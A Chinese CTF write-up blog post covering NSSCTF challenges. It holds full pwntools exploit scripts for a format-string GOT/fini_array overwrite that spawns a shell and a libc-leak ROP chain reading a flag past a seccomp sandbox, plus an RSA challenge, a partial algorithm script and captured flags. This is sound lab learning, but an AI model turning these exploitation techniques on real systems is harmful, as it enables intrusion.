- 这里只记录我复现的和我写的题目,没记录出来的要不然是队友写的要不然是没复现的
初赛
PWN
Just_0nce
- 发现开启了Canary保护机制
- 然后再使用IDA反编译
- 发现是格式化字符串漏洞,而且是只能打一次的格式化字符串漏洞
- 那就直接打
fini_array
,第一次先改printf
的got表为system
的plt,改fini_array
为main_adrr
,这样就可以执行两次main函数
fini_array
的地址在IDA中使用CTRL + S
,会跳出界面,跳出来后就可以看到了
- 第二次再传入字符串
/bin/sh
这样就可以得到shell
- exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import * context(arch = 'amd64',log_level='debug')
p = remote('node8.anna.nssctf.cn',21181)
main_adrr = 0x401366 printf_got = 0x4033F0 system_plt = 0x4010C0 fini_array = 0x4031D8 dofunc = 0x40127E payload = fmtstr_payload(6, {fini_array :dofunc , printf_got:system_plt}) p.sendafter(b'input:\n',payload) p.sendafter(b'input:\n',b"/bin/sh\x00") p.interactive()
|
复现flagNSSCTF{51461c79-beac-49e4-bfd0-fea257d1b20f}
Ez__PWN
- 然后再使用IDA反编译查看一下代码,发现开了沙箱,猜测是
orw
- 一开始以为是ret2libc,看到沙箱后是orw,而且在进行orw前还要泄露libc的地址,以便获取open的地址
- 现在先查看一下沙箱,使用
seccomp-tools
查看,果然只有open、read、write,但是open是允许openat,如果是允许open的话是要用Syscall的
- 先泄露libc,libc版本可以去libc-database这里面找,再进行orw,进行orw的时候,要先写入open的got表在bss段才能进行调用,注意一些open传入open的三个参数,还有注意
fd
文件说明符,0x0
是标准输入,0x1
是标准输出,0x2
是标准错误,所以open
打开的文件描述符是0x3
,open的第三个参数256
是表示文件被打开为只读和只写的组合(这里尝试过只读0x0调用,但是没成功)
- exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from pwn import * context(log_level='debug') p = remote('node8.anna.nssctf.cn',20367)
ret = 0x4006ce pop_rdi = 0x400a13 read_got = 0x601040 write_got = 0x601028 syscall_offset = 0x118940 pop_rbx_rbp_r12 = 0x400A0A bss_addr = 0x601060+0x200 dofunc = 0x400921 mov_rdx = 0x4009F0 pop_rsi_r15 = 0x400a11 print_got = 0x601038 read_offset = 0x10e1e0
payload = b'A'*0x10 +p64(ret)+p64(pop_rdi) + p64(read_got) + p64(0x400720)+p64(ret)+p64(dofunc) p.sendlineafter(b'input name:',payload) read_addr = p.recvuntil(b'\x40') read_addr = p.recv() read_addr = p.recv()[:6] print('read_addr ------>', read_addr) read_addr = int.from_bytes(read_addr,byteorder='little') libc_addr = read_addr - read_offset open_addr = libc_addr + 0x10DF00 payload1 = b'a'*0x10 + p64(pop_rbx_rbp_r12) + p64(0x0) + p64(0x1) +p64(read_got) payload1+=p64(0x0)+ p64(bss_addr)+p64(0x20)+p64(mov_rdx) +p64(0xdeaddeff) payload1+=p64(0xdeaddeff)+p64(0xdeaddeff)+p64(0xdeaddeff)+p64(0xdeaddeff) payload1+=p64(0xdeaddeff)+p64(0xdeaddeff)+p64(dofunc) p.sendline(payload1) p.send(b'./flag\x00\x00'+p64(open_addr))
payload2 = b'a'*0x10 + p64(pop_rbx_rbp_r12) + p64(0x0) + p64(0x1) +p64(bss_addr+0x8) payload2+=p64(bss_addr)+ p64(0x00)+p64(256)+p64(mov_rdx) +p64(0xdeaddeff) payload2+=p64(0xdeaddeff)+p64(0xdeaddeff)+p64(0xdeaddeff)+p64(0xdeaddeff) payload2+=p64(0xdeaddeff)+p64(0xdeaddeff)+p64(dofunc) p.sendlineafter(b'input name:',payload2)
payload3 = b'a'*0x10 + p64(pop_rbx_rbp_r12) + p64(0x0) + p64(0x1) +p64(read_got) payload3+=p64(0x03)+ p64(bss_addr+0x100)+p64(0x100)+p64(mov_rdx) +p64(0xdeaddeff) payload3+=p64(0xdeaddeff)+p64(0xdeaddeff)+p64(0xdeaddeff)+p64(0xdeaddeff) payload3+=p64(0xdeaddeff)+p64(0xdeaddeff)+p64(dofunc) p.sendlineafter(b'input name:',payload3)
payload4 = b'a'*0x10 + p64(pop_rbx_rbp_r12) + p64(0x0) + p64(0x1) +p64(write_got) payload4+=p64(0x01)+ p64(bss_addr+0x100)+p64(0x100)+p64(mov_rdx) +p64(0xdeaddeff) payload4+=p64(0xdeaddeff)+p64(0xdeaddeff)+p64(0xdeaddeff)+p64(0xdeaddeff) payload4+=p64(0xdeaddeff)+p64(0xdeaddeff)+p64(dofunc) p.sendlineafter(b'input name:',payload4) p.interactive()
|
复现flagNSSCTF{5c4794ae-547e-47c2-842f-0441bd494802}
CRYPTO
ez_fermat
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from Crypto.Util.number import *
p = getPrime(1024) q = getPrime(813) n = p * q d = p e = inverse(d, (p-1)*(q-1)) flag = b'NSSCTF{test_flag}' m = bytes_to_long(flag)
print(n) print() print(e) print() print(pow(m, e, n)) ''' 3904054379768621006670325403570678966655298185942026071119847032293541155818374237757771677885218395571231995625009566193044227004214661252741440763224075564545575267406326084344024197161667257443366163987563451174836819677982948383967049594961135059796888603091106117040559333549933923156522162926214187395074971581109581699786654634096916190024297067217856502521108656019066292650847674105723870976455422998577177791829507752873186832882421485628003948270492309102429874674621180956748281541598316433735992507502375267828628254040129556944239703219983
3346908455447174070992347616941127803725226412626643481301959623252314393488983877743239835001359838967907152394787518896740138558902876270534420306764838402995141451795721684856954259250045263865518237097216558225597879130005447703355004165638668981119439658709484546611239237700677748062521167324245405513546072909746940831890185954341722008854937777778339786187857409646068034455661780649005707291091511164030224458109751999287771088477121459794784223018351072171477613383398898036040202088356029117418211176259340287391200019380649219787316637601225
2297172673207318067644454311791059052521405524072070001463617943081937620680287073877519555417893924987805372814004437226029332185689205902364556330396100859963867726856821821201929153299863158902425114650689181400700850662495351899097507167512372167222348638943031627163322963150031484905075884684966357856735997039021272911282595603222713567742142545540368250995582560658624441813641267178033998653769097632742521154569310435572740012678651074392991522280691458449892215626597146075598152312643598829814235896873342805258450617148747956353285414172796'''
|
决赛
PWN
水果忍者(复现)
- 考的是httpd的题目,复现完单独写了个博客(处于加密状态),这里就不再写了
A Study in Scarlet
- 考的是C++STL的pwn,STL全称为(Standard Template Library,标准模板库),我还没学过C++,但是有点Java基础和C的基础可以试试
MISC
Algorithm(复现)
- 算法+pwntools的使用
- pwntools会用,但是不会算法,用AI跑的算法会出错QAQ,Pwntools接收过程先不给出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import * context(log_level='debug') p = remote('node4.anna.nssctf.cn',28804) p.recvuntil(b'Mode:') p.sendline(b'1')
def change2U(s): N = len(s) k, n2 = 0, 0 for i in range(3, N): if (N - i) % 2 != 0: continue k = (N + 2 - i) // 2 if k <= i: n2 = N + 2 - 2 * k break result = [] for idx in range(k - 1): result.append(s[idx] + '@' + str(n2 - 2) + '@' + s[N - idx - 1]) result.append(s[k - 1:k - 1 + n2]) output = '|'.join(result) return output
|